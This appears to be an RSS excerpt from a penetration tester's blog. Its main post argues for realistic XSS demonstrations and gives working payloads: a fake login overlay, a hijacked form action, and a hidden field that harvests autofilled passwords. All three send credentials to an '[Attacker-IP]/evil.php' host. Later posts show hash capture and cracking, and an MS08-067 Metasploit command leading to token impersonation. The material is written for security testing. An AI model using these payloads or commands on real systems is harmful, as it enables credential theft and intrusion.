		<description><![CDATA[Ever since I took my first baby steps in web application penetration testing, I&#8217;ve seen people using alert(&#8216;xss&#8217;) and alert(document.cookie) to prove an application is vulnerable to cross-site scripting. Despite the title of this little rant (and yes, it is &#8230; <a href="http://blog.c22.cc/2010/03/16/alertxss-the-slow-death-of-xss/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1282&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Ever since I took my first baby steps in web application penetration testing, I&#8217;ve seen people using alert(&#8216;xss&#8217;) and alert(document.cookie) to prove an application is vulnerable to cross-site scripting. Despite the title of this little rant <em>(and yes, it is a rant)</em>, I&#8217;ve got no problem with that&#8230; up to a point. We need something simply, easy and visual to use in testing, and the alert pop-up has been the weapon of choice for a long long time. With that said though, there&#8217;s a time and place for a pop-up saying &#8216;xss&#8217; or god forbid &#8216;pwnd&#8217; or &#8216;hello world&#8217;. That time and place is in the lab when you&#8217;re testing. After all, if that&#8217;s your proof of concept attack in an official report, no wonder the managers, developers and people holding the purse strings don&#8217;t agree with your risk analysis.</p>
<p>You&#8217;ll be hard pressed to find a half decent developer or technically savvy manager that&#8217;s not heard of cross-site scripting. However, we&#8217;ve drilled it into people, that an XSS vulnerability is nothing more than a pop-up on the screen saying a witty message, or showing you your own cookie. In most cases we&#8217;re to blame for this reaction. After all, every time we demo an XSS flaw, that&#8217;s what we do&#8230;. good old alert(&#8216;xss&#8217;).</p>
<p>So enough of the ranting, and on to the proof of concepts&#8230; after all, I can&#8217;t just leave you guys hanging without a solution, or at least a starting point. You&#8217;ll find examples like this<em> (and probably better than this)</em> all over the web. So take some time to look around and see what else there is you can do with XSS. You&#8217;ll be surprised what you can achieve with a simple reflective XSS attack.</p>
<h2>Overlay</h2>
<p>I&#8217;ve used this type of injection on a few occasions, and even though there are other more interesting methods of achieving the same thing, the technique can be used to do a lot&#8230; including blanking out sections of the site with your own content <em>(advert, link, fake news entry etc&#8230;)</em></p>
<blockquote><p>&lt;div style=&#8221;position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:#FF3300&#8243;&gt;&lt;form action=&#8221;http://[Attacker-IP]/evil.php&#8221;&gt;Username:&lt;br&gt;&lt;input type=&#8221;text&#8221; name=&#8221;user&#8221;&gt;&lt;br&gt;Password:&lt;br&gt;&lt;input type=&#8221;text&#8221; name=&#8221;pass&#8221;&gt;&lt;br&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;Logon&#8221;&gt;&lt;/form&gt;&lt;/div&gt;</p></blockquote>
<p><a href="http://c22blog.files.wordpress.com/2010/03/overlay.png"><img class="size-full wp-image-1283 alignright" style="border:11px none;margin:11px;" title="overlay" src="http://c22blog.files.wordpress.com/2010/03/overlay.png?w=186&#038;h=130" alt="" width="186" height="130" /></a>You can easily try this out yourself by pasting the above into a text editor and saving it as overlay.html. Opening it directly in your browser will bring up the rather obvious looking overlay<em> (see orange screenshot)</em>. Why orange you may ask. Well, it&#8217;s so you can see where your overlay is when you&#8217;re working out the placement. It&#8217;s also find of hard to show management where your overlay is if it&#8217;s the same colour as the rest of the screen. For attackers, it&#8217;s got to look perfect. For a report and a demo, you also need to make it obvious so you can get your point across. It&#8217;s simple enough to change the background-color:#FF3300 to a colour of your choosing.</p>
<p>In this example the username and password information will be sent to the value of form action. In this case http://[Attacker-IP]/evil.php. You can simply set a netcat listener <em>(nc -l 80)</em> on a system to receive the information. It&#8217;s quick and easy, but doesn&#8217;t really give that full on attacker feel, as the user won&#8217;t get a response and timeout in the end. To prevent that, you can setup a php script to grab the info, or just do something quick and simple. I&#8217;ve been toying with a simple text file solution (quick and dirty).</p>
<p style="text-align:left;"><a href="http://c22blog.files.wordpress.com/2010/03/nclistener_302.png"></a><a href="http://c22blog.files.wordpress.com/2010/03/nclistener_302.png"><img class="aligncenter size-full wp-image-1284" title="nclistener_302" src="http://c22blog.files.wordpress.com/2010/03/nclistener_302.png?w=374&#038;h=119" alt="" width="374" height="119" /></a><br />
As you can see, the solution uses a simple text file <em>(302.txt in the above screenshot)</em>. This is fed into the netcat listener so that when our victim connects, they&#8217;ll receive a 302 redirect to whatever we add into the location. Obviously we can chain this and have them redirected to a Metasploit listener <em>(<a href="http://blog.c22.cc/2010/03/11/internet-explorer-iepeers-dll-use-after-free/" target="_blank">see my ie_peers example video</a>)</em>, or to anything else we want&#8230; <a href="http://www.bindshell.net/tools/beef/" target="_blank">BeEF</a> for example!</p>
<h2 style="text-align:left;">Form Fiddling</h2>
<p>Fiddling with forms is a little more fun and advanced than the above overlay option. Still it&#8217;s not exactly rocket science, else a non-programmer like me would never be able to manage it.</p>
<p>The basic idea is that by inserting JavaScript into the page <em>(through stored or reflected XSS)</em> you can change elements on the page after they&#8217;ve loaded. There&#8217;s a lot of different possibilities here, but keeping with our password stealing example from the overlay, here&#8217;s a simple example that alters the first form on the page [0] to a destination of the attackers choice.</p>
<blockquote>
<p style="text-align:left;">onsubmit=&#8221;document.forms[0].action=&#8217;http://[Attacker-IP]/evil.php&#8217;&#8221;</p>
</blockquote>
<p style="text-align:left;">The good thing about using the &#8220;onsubmit&#8221; event to make this change, is that if the user however over the submit link on the form, any pop-up will still be pointing to the official location. The change only takes effect when the user clicks submit. Then, as before, a simple netcat listener to wait for the communication from the victim machine. Even though this is an easy to implement attack, and it&#8217;s very effective, it&#8217;s hard to show screenshots of this in a report. Sometimes a picture is worth a thousand words. However, it&#8217;s great for live demos. Especially if you set the 302 redirect to send them back to the logon screen again <em>(this time without the form changes)</em>. Most users will simple accept that they mis-typed their password.</p>
<p style="text-align:center;"><a href="http://c22blog.files.wordpress.com/2010/03/listener_win.png"><img class="size-full wp-image-1287 aligncenter" style="border:7px none;margin-top:7px;margin-bottom:7px;" title="listener_win" src="http://c22blog.files.wordpress.com/2010/03/listener_win.png?w=625&#038;h=173" alt="" width="625" height="173" /></a></p>
<h2 style="text-align:left;">Firefox Password Database / Single Sign-On</h2>
<p style="text-align:left;">I was reminded of this attack vector recently as Jeremiah Grossman <a href="http://twitter.com/jeremiahg/status/10383228759" target="_blank">mentioned</a> it on his<a href="http://twitter.com/jeremiahg"> Twitter feed</a>. The basic premise of this attack is that Firefox will autofill saved passwords if the user has opted to save the logon information. Alongside Firefox I can also think of a few Single Sign-On tools that do the same sort of thing, and as a result should also fall foul to the same exploit <em>(I need to do further testing to confirm this however)</em>.</p>
<p style="text-align:left;">By creating a hidden field as type password, the browser will autofill this with any saved password for the page. As this isn&#8217;t done straight away, a delay is imposed <em>(using <a href="http://w3schools.com/js/js_timing.asp" target="_blank">setTimeout</a>)</em> to delay the second action until the password is filled in and ready to be stolen.</p>
<blockquote>
<p style="text-align:left;">javascript:document.write(&#8216;&lt;form&gt;&lt;input id=pword type=password&gt;&lt;/form&gt;&#8217;);&lt;script&gt;setTimeout(&#8216;window.location =&#8221;http://[Attacker-IP]/evil.php?passwd=&#8221; %2bdocument.getElementById(&#8220;pword&#8221;).value&#8217;,100) &lt;/script&gt;</p>
</blockquote>
<p style="text-align:left;">The above example waits for 100 milliseconds and then performs a redirection<em> (using <a href="http://www.w3schools.com/jsref/obj_window.asp" target="_blank">window.location</a>)</em> to the attacker owned system. Again, it&#8217;s up to you what you want to do here. The window.location is a simple proof of concept, however it could be worked into a hidden iFrame, or even an AJAX request so that the victim isn&#8217;t aware of the transaction.</p>
<p style="text-align:center;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p style="text-align:left;">These are all simple examples, but should be enough to get you started on a working proof of concept for your next XSS. With more time you can make these sneakier, better and a whole lot more evil. Where you take them from here is up to you.</p>
<p style="text-align:left;">Cross-Site Scripting might not be as exciting as SQLInjection or File includes&#8230;. but it is what you make of it. If you make it pop-up a box saying how 1337 you are, then don&#8217;t expect to get your message across.</p>
<p style="text-align:center;"><span style="color:#888888;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p style="text-align:center;"><span style="color:#888888;">If you&#8217;re interested in learning more about what&#8217;s possible with XSS then I&#8217;d suggest checking out the <a href="http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543" target="_blank">XSS book from Syngress</a>, as well as RSnake&#8217;s blog/forum over at <a href="http://ha.ckers.org" target="_blank">http://ha.ckers.org</a>. For more advanced exploitation frameworks, checkout the <a href="http://www.bindshell.net/tools/beef/" target="_blank">Browser Exploitation Framework</a> (BeEF). </span></p>
<p style="text-align:center;"><span style="color:#888888;">Without these resources this post wouldn&#8217;t have been possible.<br />
</span></p>
<p style="text-align:center;">
<p style="text-align:left;">
<br />Filed under: <a href='http://blog.c22.cc/category/penetration-test/'>Penetration Test</a>, <a href='http://blog.c22.cc/category/security/'>Security</a> Tagged: <a href='http://blog.c22.cc/tag/cross-site-scripting/'>cross site scripting</a>, <a href='http://blog.c22.cc/tag/javascript/'>javascript</a>, <a href='http://blog.c22.cc/tag/password-stealing/'>password stealing</a>, <a href='http://blog.c22.cc/tag/xss/'>xss</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/1282/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1282&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2010/03/16/alertxss-the-slow-death-of-xss/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/03/overlay.png" medium="image">
			<media:title type="html">overlay</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/03/nclistener_302.png" medium="image">
			<media:title type="html">nclistener_302</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/03/listener_win.png" medium="image">
			<media:title type="html">listener_win</media:title>
		</media:content>
	</item>
		<item>
		<title>Nikto 2.10 released</title>
		<link>http://blog.c22.cc/2009/10/18/nikto-2-10-released/</link>
		<comments>http://blog.c22.cc/2009/10/18/nikto-2-10-released/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 12:26:30 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[nikto]]></category>
		<category><![CDATA[web scanner]]></category>

		<guid isPermaLink="false">http://c22blog.wordpress.com/?p=938</guid>
		<description><![CDATA[The guys over at CIRT.NET has released an update to the Nikto web server scanner tool. According to the blog post discussing the release, this version has undergone &#8220;significant rewrites under the hood &#8230;&#8221; &#8220;&#8230; to make it more expandable &#8230; <a href="http://blog.c22.cc/2009/10/18/nikto-2-10-released/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=938&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://cirt.net/nikto2"><img class="alignright" style="margin:12px;" src="http://cirt.net/images/nikto.png" alt="" width="152" height="280" /></a>The guys over at <a title="http://cirt.net" href="http://cirt.net/node/56" target="_blank">CIRT.NET</a> has released an update to the Nikto web server scanner tool. According to the blog post discussing the release, this version has undergone &#8220;significant rewrites under the hood &#8230;&#8221; &#8220;&#8230; to make it more expandable and usable&#8221;. Sounds interesting.</p>
<p>The newest version includes a number of bug-fixes, as well as some enhanced functionality .:</p>
<ul>
<li>Added test for asp source code disclosure through the Translate header</li>
<li>New plugin added to identify embedded devices</li>
<li>Added check for multiple index files for request</li>
<li>Add plugin to use dirbuster lists with mutate 6 and mutate-options</li>
<li>Added subdomain buteforcer as mutate option 5, thanks to <a title="ethicalhack3r" href="http://twitter.com/ethicalhack3r" target="_blank">Ryan DewHurst</a></li>
<li>Added extra tests to pull information if scanning ePO agent or HP WBEM</li>
<li>Added test to recognise a Dell Remote Access Console</li>
<li>Now supports NTLM authentication</li>
<li>Added tests to identify Ampache</li>
<li>Altered favicon database to use dynamic database</li>
<li>&#8230;</li>
</ul>
<p>For a full list of fixes, enhancements and changes see the project <a title="2.1.0/CHANGES.txt" href="http://cirt.net/nikto/UPDATES/2.1.0/CHANGES.txt" target="_blank">changelog.</a></p>
<p>By looking at the <a title="2.1.0/versions.txt" href="http://cirt.net/nikto/UPDATES/2.1.0/versions.txt" target="_blank">versions.txt</a> released with this version it appears that the following plugins have been updated .:</p>
<ul>
<li>nikto_user_enum_apache.plugin</li>
<li>nikto_core.plugin</li>
</ul>
<br />Posted in Penetration Test, Security Tagged: nikto, web scanner <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/938/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/938/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/938/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/938/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/938/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/938/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/938/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/938/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=938&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2009/10/18/nikto-2-10-released/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://cirt.net/images/nikto.png" medium="image" />
	</item>
		<item>
		<title>Cracking HALFLM</title>
		<link>http://blog.c22.cc/2009/06/02/cracking-halflm/</link>
		<comments>http://blog.c22.cc/2009/06/02/cracking-halflm/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 11:26:53 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[hash]]></category>

		<guid isPermaLink="false">http://c22blog.wordpress.com/?p=522</guid>
		<description><![CDATA[I was recently reading through Chris Gates post on capturing and cracking HALFLM hashes with Metasploit and thought I&#8217;d give it a quick run through. (I won&#8217;t be rehashing what Chris already covered here, so I suggest you pop over &#8230; <a href="http://blog.c22.cc/2009/06/02/cracking-halflm/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=522&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I was recently reading through Chris Gates post on <a title="Carnal0wnage Blog" href="http://carnal0wnage.blogspot.com/2009/04/using-metasploit-smb-sniffer-module.html" target="_blank">capturing and cracking HALFLM hashes with Metasploit</a> and thought I&#8217;d give it a quick run through. (I won&#8217;t be rehashing what Chris already covered here, so I suggest you pop over to his blog for a quick coverage of HALFLM and the rainbowtable cracking method).</p>
<p>Until I read the post I&#8217;d been using the SMB_relay attack to load up a meterpreter shell onto the remote target, but seeing as Microsoft have finally decided this is a bug worth patching, it&#8217;s time to move on to other attack vectors. SMB_relay will still be a good attack vector for some attacks, but the patch against reflective relays means it&#8217;s not going to always be available.</p>
<p><a href="http://c22blog.files.wordpress.com/2009/06/msf.png"><img class="size-medium wp-image-523 alignleft" style="border:6px;margin:6px;" title="msf" src="http://c22blog.files.wordpress.com/2009/06/msf.png?w=300&#038;h=184" alt="msf" width="300" height="184" /></a>All was going well with the walkthrough, I&#8217;d captured the hash from the target machine and had the HALFLM tables downloaded (halflmchall _alphanumeric #1-7_<em>x</em>_2400_ 1122334455667788). So after running the rcracki_mt_0.5.exe *.rti -h &lt;First16Chars&gt; was depressed to see that the first half wasn&#8217;t found (the tables are only alpha numeric after all). Not a problem I thought, and went back to Chris&#8217; walkthrough to see the next step. That&#8217;s where it all went wrong. If you can&#8217;t find the first part of the hash, then the rest of the walkthrough isn&#8217;t going to help. I had a little hunt around the big WWW and like any good Googler I found some hints on what other tools could do a brute force or password guessing attack aginst the HALFLM format. I picked CAIN and set about trying to manually tell it what the username, LM hash and challenge were, without much luck. Cain can sometimes be stubborn on the input formats and you can&#8217;t manually tell it what should go where. I went back to the Metasploit smb capture module and had a closer look at the set options to see what I could do. Here I found the option to output captured the hashes straight into a format readable by Cain&amp;Able (set PWFILE cain_hashdump.txt) instead of to the screen in a generic format.</p>
<p>After performing the SMB capture again, the file cain_hashdump.txt was created, allowing me to directly import it into CAIN (along with the challenge this time).</p>
<p>For those that may have already captured the HALFLM hash and need to import this into CAIN, the format of the dump output from Metasploit is as follows .:</p>
<p>USERNAME:DOMAIN:1122334455667788:LMHASH:NTHASH</p>
<p><a href="http://c22blog.files.wordpress.com/2009/06/clipboard021.png"><img class="size-full wp-image-530 aligncenter" style="border:3px none;margin-top:3px;margin-bottom:3px;" title="Clipboard02" src="http://c22blog.files.wordpress.com/2009/06/clipboard021.png?w=552&#038;h=41" alt="Clipboard02" width="552" height="41" /></a></p>
<p>The 1122334455667788 in the middle tells Cain what challenge was used by the Metasploit module. In this case Metasploit is hard coded to use \x11\x22\x33\x44\x55\x66\x77\x88 as the challenge string.</p>
<p>Hope you find this useful, and remember to checkout the Carnal0wnage blog for the RainbowTable method, as well as lots of other Metasploit hints, tips and examples.</p>
<br />Posted in Metasploit, Penetration Test, Security Tagged: cracking, hash, Penetration Test <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/522/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/522/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/522/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/522/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/522/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/522/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/522/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/522/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=522&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2009/06/02/cracking-halflm/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/06/msf.png?w=300" medium="image">
			<media:title type="html">msf</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/06/clipboard021.png" medium="image">
			<media:title type="html">Clipboard02</media:title>
		</media:content>
	</item>
		<item>
		<title>MS09-012: Fixing “Token Kidnapping”</title>
		<link>http://blog.c22.cc/2009/04/15/ms09-012-fixing-%e2%80%9ctoken-kidnapping%e2%80%9d/</link>
		<comments>http://blog.c22.cc/2009/04/15/ms09-012-fixing-%e2%80%9ctoken-kidnapping%e2%80%9d/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 06:58:20 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Patches]]></category>

		<guid isPermaLink="false">http://c22blog.wordpress.com/?p=468</guid>
		<description><![CDATA[This was the headline that grabbed my attention this morning on the Microsoft Security &#38; Defence Blog. Had Microsoft finally patched the token impersonation flaw (or feature as Microsoft regard it) that is used by the Incognito tool to allow &#8230; <a href="http://blog.c22.cc/2009/04/15/ms09-012-fixing-%e2%80%9ctoken-kidnapping%e2%80%9d/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=468&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This was the headline that grabbed my attention this morning on the <a title="Microsoft Blog" href="http://blogs.technet.com/srd/archive/2009/04/14/ms09-012-fixing-token-kidnapping.aspx">Microsoft Security &amp; Defence Blog</a>. Had Microsoft finally patched the token impersonation flaw (or feature as Microsoft regard it) that is used by the <a title="Incognito" href="http://sourceforge.net/projects/incognito">Incognito</a> tool to allow a compromised system level account to impersonate local or domain users. In short no, and I say that with mixed feelings.</p>
<p>As a penetration tester, I can breath a sigh of relief and know that this attack vector is still open. As a defender, the chance that Microsoft had changed the way this functionality works to block the attack was a welcome update to protect our systems. Still, you can&#8217;t expect Microsoft to repair something they see as a feature and the way things should work. Some things aren&#8217;t meant to be repaired I guess.</p>
<h3>Testing</h3>
<p>Just to make sure that Microsoft hadn&#8217;t broken the Incognito functionality while messing with the way tokens work, I ran a couple of tests against a Windows XP service pack 2 machine.</p>
<p>I started off with an unpatched version and ran the trusty MS08-067 exploit to get a meterpreter shell.</p>
<blockquote><p>./msfcli exploit/windows/smb/ms08_067_netapi payload=windows/meterpreter/bind_tcp LHOST=192.168.0.104 RHOST=192.168.0.103 E</p>
</blockquote>
<p>This functioned as you&#8217;d expect and resulted in a meterpreter shell running under the Local System Account. After running the &#8220;use incognito&#8221; command I listed the tokens using &#8220;list_tokens -u&#8221;.</p>
<p><a href="http://c22blog.files.wordpress.com/2009/04/incognito1.png"><img class="aligncenter size-medium wp-image-469" title="incognito1" src="http://c22blog.files.wordpress.com/2009/04/incognito1.png?w=300&#038;h=226" alt="incognito1" width="300" height="226" /></a></p>
<p>Taking the local account &#8220;pentestuser&#8221; as the token to impersonate, I ran &#8220;impersonate_token PENTEST-3C73D9Cpentestuser&#8221;</p>
<p><a href="http://c22blog.files.wordpress.com/2009/04/incognito2.png"><img class="aligncenter size-medium wp-image-470" title="incognito2" src="http://c22blog.files.wordpress.com/2009/04/incognito2.png?w=300&#038;h=48" alt="incognito2" width="300" height="48" /></a></p>
<p>Success, as expected on the unpatched system. Next up, I patched the system, rebooted and repeated the same msfcli exploit (MS08-067). This time however the exploit failed on the first run as it couldn&#8217;t isolate the exact service pack version. Metasploit listed it as Service Pack 2+ (which is technically correct). Re-running the command completed the exploit however.</p>
<p><a href="http://c22blog.files.wordpress.com/2009/04/incognito3_after-patch.png"><img class="aligncenter size-medium wp-image-471" title="incognito3_after-patch" src="http://c22blog.files.wordpress.com/2009/04/incognito3_after-patch.png?w=300&#038;h=223" alt="incognito3_after-patch" width="300" height="223" /></a></p>
<p>Even after the patch everything seems fine in the token list.</p>
<p><a href="http://c22blog.files.wordpress.com/2009/04/incognito4_after-patch.png"><img class="aligncenter size-medium wp-image-472" title="incognito4_after-patch" src="http://c22blog.files.wordpress.com/2009/04/incognito4_after-patch.png?w=300&#038;h=57" alt="incognito4_after-patch" width="300" height="57" /></a></p>
<p>The final test, impersonation of the PENTEST-3C73D9Cpentestuser user. As before this went off without a hitch, giving us access to the local user without error.</p>
<h3>Conclusion</h3>
<p>Microsoft have patched the flaws listed in <a title="MS09-012" href="http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx">KB952004</a> without effecting the Incognito tool (or the implementation of the tool within Metasploit). Good for attackers, bad for defenders. But you can&#8217;t always have it both ways can you. I doubt that we&#8217;ll be seeing a patch against the token impersonation flaw used in incognito anytime soon, if at all.</p>
<p>I&#8217;m heading to Blackhat Europe in a few hours (courtesy of a last minute press registration). If you&#8217;re there feel free to drop me a line and buy me a drink <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  &#8212; &gt; contact <span style="color:#888888;">[at]</span> c22 <span style="color:#888888;">[dot]</span> cc</p>
<br />Posted in Metasploit, Penetration Test, Security, Technology Tagged: Metasploit, Microsoft, Patches <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/468/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/468/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/468/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=468&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2009/04/15/ms09-012-fixing-%e2%80%9ctoken-kidnapping%e2%80%9d/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/04/incognito1.png?w=300" medium="image">
			<media:title type="html">incognito1</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/04/incognito2.png?w=300" medium="image">
			<media:title type="html">incognito2</media:title>
		</media:content>

